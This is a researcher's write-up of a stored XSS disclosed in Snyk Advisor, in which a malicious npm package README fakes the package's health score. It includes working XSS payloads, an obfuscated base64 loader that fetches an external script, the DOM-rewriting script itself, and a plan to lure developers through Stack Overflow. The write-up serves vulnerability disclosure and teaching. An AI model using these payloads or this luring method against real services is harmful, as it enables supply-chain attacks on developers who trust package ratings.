Tags:


CVE-2023-1767 - Stored XSS on Snyk Advisor service can allow full fabrication of npm packages health score

tl;dr

tl;dr - a stored XSS in Snyk Advisor (domain:snyk.io) allowed me to fabricate the health score granted for packages in my control, which I leveraged into making it seem as my “malicious” package is in fact healthy, popular and legitimate, which could have served an attacker to convince others to install an actual malicious npm package.

Vulnerability Disclosure Report 📝 , Exploit PoC 💻

What motivated me to write this?

On March of 2023 I found a stored XSS vulnerability in Snyk Advisor under snyk.io domain.

Because Snyk is a security services vendor, I was wondering if there’s anything more interesting and creative to be done here than just compromise the application and/or its current logged in victim. So I dedicated some time into maximizing the impact that one can achieve with such a vulnerability, to help Snyk defend themselves against any further potential damage they might be exposed to.

In this article I demonstrate how I can take such a vulnerability and turn it against the business itself, and the very main purpose of the Snyk Advisor service.

Supply chain security - an intro

Supply chain security is something we constantly hear of in the past years, and for a good reason.

We build our software on top of a long chain of dependencies that we don’t control and that change frequently, so just trusting them to be legitimate and safe in the long run is not something we can count on.

This situation naturally creates a clear motivation for attackers to infiltrate your supply chain and we’ve seen plenty of such examples in the past year.

That’s why in the past few years we have seen more and more attempts to create products that try to secure against supply chain attacks.

I myself have dedicated years into improving the worlds’ chances against JavaScript supply chain attacks by being the creator of PerimeterX’s CodeDefender, the creator and maintainer of Snow ❄️ JS and the maintainer of the highly advanced supply chain security tool LavaMoat 🌋.

There are a number of ways attackers can leverage your need for building your software on top of third party dependencies, here are two main ones:

1. Compromising an already-used legitimate package

One thing attackers try to do is to find a third party package that is being used by the maintainer of the application they wish to attack, and then take control over it. Taking control over a successful package is not always easy, but once control is gained, the attacker can push a new version for the package, introducing the exploit to all its downstream users.

At this point, it’s likely that the maintainer will eventually update their dependencies to their newer versions, thus potentially pulling the compromised version of the breached dependency without even being aware of that.

2. Luring to use a yet-to-be-used malicious package

Another thing attackers might do is to publish a new dependency they control and make it look like it does legitimate stuff, then try to lure developers into installing those in their projects. Once they do, the package which isn’t actually legitimate, can compromise the software.

However, this requires some level of sophistication, because you must convince the developer, a human being, that your package is legitimate and trustworthy - and that is a hard task considering the level of awareness developers have for the potential damage that lies in using a new and unfamiliar package.

Let’s elaborate on that.

Luring developers is hard!

Because of the growing concern that evolves around supply chain attacks, developers are more aware of the problem and make sure to be able to tell the difference between a legitimate package and a suspicious one.

So what actions do developers take when considering installing a new package?

Here’s a perfect answer to the question by the amazing ChatGPT!

GPT describing how to vet a package, the full list of methods is below in the rest of the blog post

“(1) popularity and reputation”

I’d say, this is where you start. A good way to get a general sense of the legitimacy of a package is by understanding how popular and well known it is. It’s usually never enough to fully tell its legitimacy, but it does help knowing many people starred it, or even better, recently downloaded and used it.

“(2) dependencies, (3) source code and (4) maintainers”

These are even better ways for telling if a package is trustworthy. Popularity for itself isn’t enough, but if you can afford going through its dependencies and maintainers and make sure they’re also popular and legit, it would help a lot in making the decision. If you can even afford browsing through its source code that’s amazing! But that’s unlikely to be something we’re going to do.

“(5) license”

I’m honestly not sure how’s this related, but I had to give ChatGPT the credit for trying 🤷. Although next one is the killer section - the one I was hoping ChatGPT would bring up:

“(6) Use a package verification tool … such as Snyk

This is the ultimate section that is supposed to eliminate the need for all previous sections. As I previously wrote, due to the clear danger posed by third party packages, we now have third party services to help us verify the integrity of third party packages instead of having to do the dirty job ourselves.

These products are your one-stop-shop!

They examine all packages and take into consideration everything mentioned above - such as popularity, usage, number of recent downloads, integrity of contributors, level of community engagement and even potentially source code static analysis - and they calculate it all into a score, to give you a sense of how legitimate for use that package.

In other words, they try to combine steps 1-4 into a single service, so you wouldn’t have to go through them yourself.

There are more such services than just Snyk, (e.g. Socket Security), but Snyk is probably the most popular service in the industry.

A single point of failure

When thinking about it, Snyk Advisor (or any other similar tool) being a one-stop-shop can potentially be an issue, because if it fails it could also be a single point of failure.

In other words, Snyk providing all the information you need for deciding if to use a package or not means you can skip the due diligence you were planning to do yourself, and just trust their health score completely.

And if the integrity of the service is broken, you wouldn’t count on a second service to help you discover that - because that’s the whole point of the advisory service!

This of course counts on an ability to break the integrity of the service, which is not a trivial assumption at all.

While the risks here are likely minimal, it’s still always worth thinking about these hypothetical possibilities and maintaining healthy security hygiene - one way of doing this is to dedicate effort from time to time spot checking the underlying data on important projects to make sure everything makes sense.

Markdown XSS

In this story, the vulnerability isn’t too interesting for itself to be honest. It’s a simple XSS via Markdown situation, which isn’t a new concept (lookup “Markdown XSS” on Google).

But just to sum it up for you:

Again, this isn’t anything new. It just means that if a service wishes to parse and display Markdown content, they must perform proper sanitization to disallow XSS.

The sanitization/defense tactics differ among different services.

Some perform a more strict sanitization (such as GitHub/npm) where they drop anything that might load any arbitrary html/js.

Some services perform a lax sanitization (such as discourse) where they still drop anything that might be dangerous, but nothing more. For example, on discourse <iframe> will translate into an actual iframe whereas on GitHub the iframe is dropped (even though turning the iframe into arbitrary code execution is impossible in both).

But most importantly, regardless of how lax or strict your sanitization is, you’d want to add a second layer of defense by using some CSP rules to ensure any Markdown XSS that infiltrated your app will be blocked right away (can be seen in VSCode editor for example).

Not surprisingly, some services perform little to no sanitization at all.

For some of them it makes sense (kinda?) - If you go on StackEdit for example and paste <iframe src="https://weizman.github.io?msg=code_execution_!"> you’ll see an alert message that proves the app parsed this as Markdown and lacked CSP for blocking the load of a remote page into an iframe (Perhaps because this is a local text editor for you to come up with your own content).

But some services have more to lose than the StackEdit example above, and therefore they usually make sure to perform some level of sanitization.

And if they don’t, well, that could be a problem.

Markdown to (stored) XSS on Snyk Advisor (snyk.io domain)

To my surprise, the lack of sanitization was exactly the case with Snyk.

Snyk’s advisor app as mentioned above gives you the information you’re looking for when considering to use a new package, and to be as informative as possible, they also display the README file of the package you’re looking at.

Which means, they are turning Markdown into HTML to display the content.

By running no sanitization and implementing no CSP in the app, a README file containing an XSS will successfully execute in the app!

Before disclosing this, you could have seen the exploit running live on the package I was experimenting with at https://snyk.io/advisor/npm-package/png2jpg.

Since it’s already fixed by now, you can see it before it was fixed by visiting the official Vulnerability report as sent to Snyk I handed Snyk.

Impact

So why is this worrying? In the context of what we discussed earlier, harming the integrity of the advisor can turn a package from malicious to fully trustworthy in the eyes of the victim!

Exploiting the vulnerability!

Let’s exploit this vulnerability as an attacker to understand what I mean.

Find a need

First, I looked for stuff people might need a solution for.

From a quick search online I learned that people have tried previously to convert pngs to jpgs using JavaScript. Here’s a stackoverflow example.

Register a package

I need a good name for a package that looks legitimate and inviting and that is available on npm. After a while I found png2jpg to not be taken - I’ll take it!

{
  "name": "png2jpg",
  "version": "0.0.1",
  "description": "convert png to jpg",
  "main": "index.js",
  "repository": {
    "type": "git",
    "url": "git+https://github.com/weizman/png2jpg.git"
  },
  "keywords": [],
  "author": "",
  "license": "MIT",
  "bugs": {
    "url": "https://github.com/weizman/png2jpg/issues"
  },
  "homepage": "https://weizman/png2jpg/",
}

(package.json)

Cause “fake” damage

This is a malicious package after all, so let’s implement a malicious payload such as:

// index.js
console.log('PAYLOAD EXECUTED!')

(index.js)

Create a deceitful README file

This is an important part - we want the package to look legit and inviting, so we want its official README file to reflect that:

## png2jpg - A NodeJS tool for converting pngs to jpgs

### Install

yarn add png2jpg / npm install png2jpg

### Usage

const png2jpg = require('png2jpg');
const jpg = await png2jpg(png);

(README.md)

Real attackers will also add badges, images and maybe gifs to do a better job “selling it” - we’re not gonna focus on that.

PoC - Exploit Snyk Advisor’s vulnerability

Our package is live and accessible on npm! But Snyk Advisor ranks its health score low, being the unpopular package that it is:

making it completely not trustworthy.

However, since we have code execution privileges, we can use it to change the layout!

When we update the README file to this (observe the bottom line):

## png2jpg - A NodeJS tool for converting pngs to jpgs

### Install

yarn add png2jpg / npm install png2jpg

### Usage

const png2jpg = require('png2jpg');
const jpg = await png2jpg(png);

<img src="//no-such-domain-2390dkj.com/" onerror="alert(location.href)">

and publish the package, after Snyk Advisor scans it, when visiting https://snyk.io/advisor/npm-package/png2jpg the alert pops:

Leverage exploit to fabricate Advisor results

We proved code execution on https://snyk.io/advisor/npm-package/png2jpg, it’s time to make it dance!

First, Snyk Advisor’s scan takes a few days with each new package version that is published, so I preferred implementing
an external payload script that I can change as much as I want.

Therefore, here’s the update to the README file:

## png2jpg - A NodeJS tool for converting pngs to jpgs

### Install

yarn add png2jpg / npm install png2jpg

### Usage

const png2jpg = require('png2jpg');
const jpg = await png2jpg(png);

<img src="//no-such-domain-2390dkj.com/" onerror="eval(atob('KGZ1bmN0aW9uKCl7IGNvbnN0IHMgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTsgcy5zcmMgPSAnaHR0cHM6Ly93ZWl6bWFuLmdpdGh1Yi5pby9wdWJsaWMvc2VydmljZS5qcyc7IGRvY3VtZW50LmhlYWQuYXBwZW5kKHMpOyB9KCkp'))">

Which translates into:

(function(){ 
 const s = document.createElement('script'); 
 s.src = 'https://weizman.github.io/public/service.js'; // service.js looks more legit!
 document.head.append(s); 
}())

Which simply loads the payload externally:

(function(){
    // don't run more than once
    if (top.__ran) return; else top.__ran = true;

    // remove the "Unable to verify the project's public source code repository." alert message
    document.querySelector('.alert').remove();

    // capture all needed elements in the page
    const extra = document.querySelector('.package-extra');
    const security = document.querySelector('#security');
    const community = document.querySelector('#community');
    const popularity = document.querySelector('#popularity');
    const maintenance = document.querySelector('#maintenance');
    const copy = document.querySelectorAll('button')[0];

    // replace the HTML of the "extra", "security" and "community" information boxes with 
    // the HTML from the node package to deliver a more reliable message
    extra.innerHTML = atob('<LARGE_B64>');
    security.innerHTML = atob('<LARGE_B64>');
    community.innerHTML = atob('<LARGE_B64>');

    // remove the "popularity" and "maintenance" information boxes 'cause I was too lazy to immulate them
    popularity.remove()
    maintenance.remove()

    // remove the image we used in the XSS to reduce suspiciousy
    setTimeout(() => {
        document.querySelector(atob('aW1nW3NyY149Ii8vIl0=')).remove();
    }, 200);

    // reset the functionallity of the copy button because this exploit ruins it for some reason
    copy.id = '__copy'
    copy.outerHTML += '';
    __copy.addEventListener('click', () => {
        navigator.clipboard.writeText(atob('bnBtIGluc3RhbGwgcG5nMmpwZw=='));
    });
}());

(payload.js)

And the result is pretty good!

And for a motivated attacker, the result could have been even flawless with some additional work on the deception part, but this should be enough for you to get the picture.

Sell it!

Now that our payload is successfully making our package look legit, all there’s left is to get someone to install it. I can do so by finding an online thread about someone trying to turn pngs to jpgs using JavaScript, and offer my service.

Here’s an actual thread on Stackoverflow of people who are looking for a solution - all I need to do is to suggest my package and link it to https://snyk.io/advisor/npm-package/png2jpg.

What’s likely to happen is that someone who sees it, will go on the Snyk link, see that my package is totally legit and popular (even though it isn’t), and copy the npm install png2jpg command from there, trusting Snyk Advisor completely - Supply Chain Attack Achieved!

Conclusions

This has been a short ride through exploiting an XSS vulnerability to compromise the Snyk Advisory service central goal, to be a trustworthy judge of npm packages.

I hope markdown sanitization and the dangers in not performing defense in depth are more clear to you after reading this.

Builders

Here are the two main takeaways from this research:

Breakers

Markdown XSS is a concept. There are a lot of services that parse and display Markdown, including IDEs.

They all might be vulnerable to this - I encourge you to go out and seek for yourselves!

If you find any - responsibly disclose your findings to the vulnerable vendor by cooperating with them.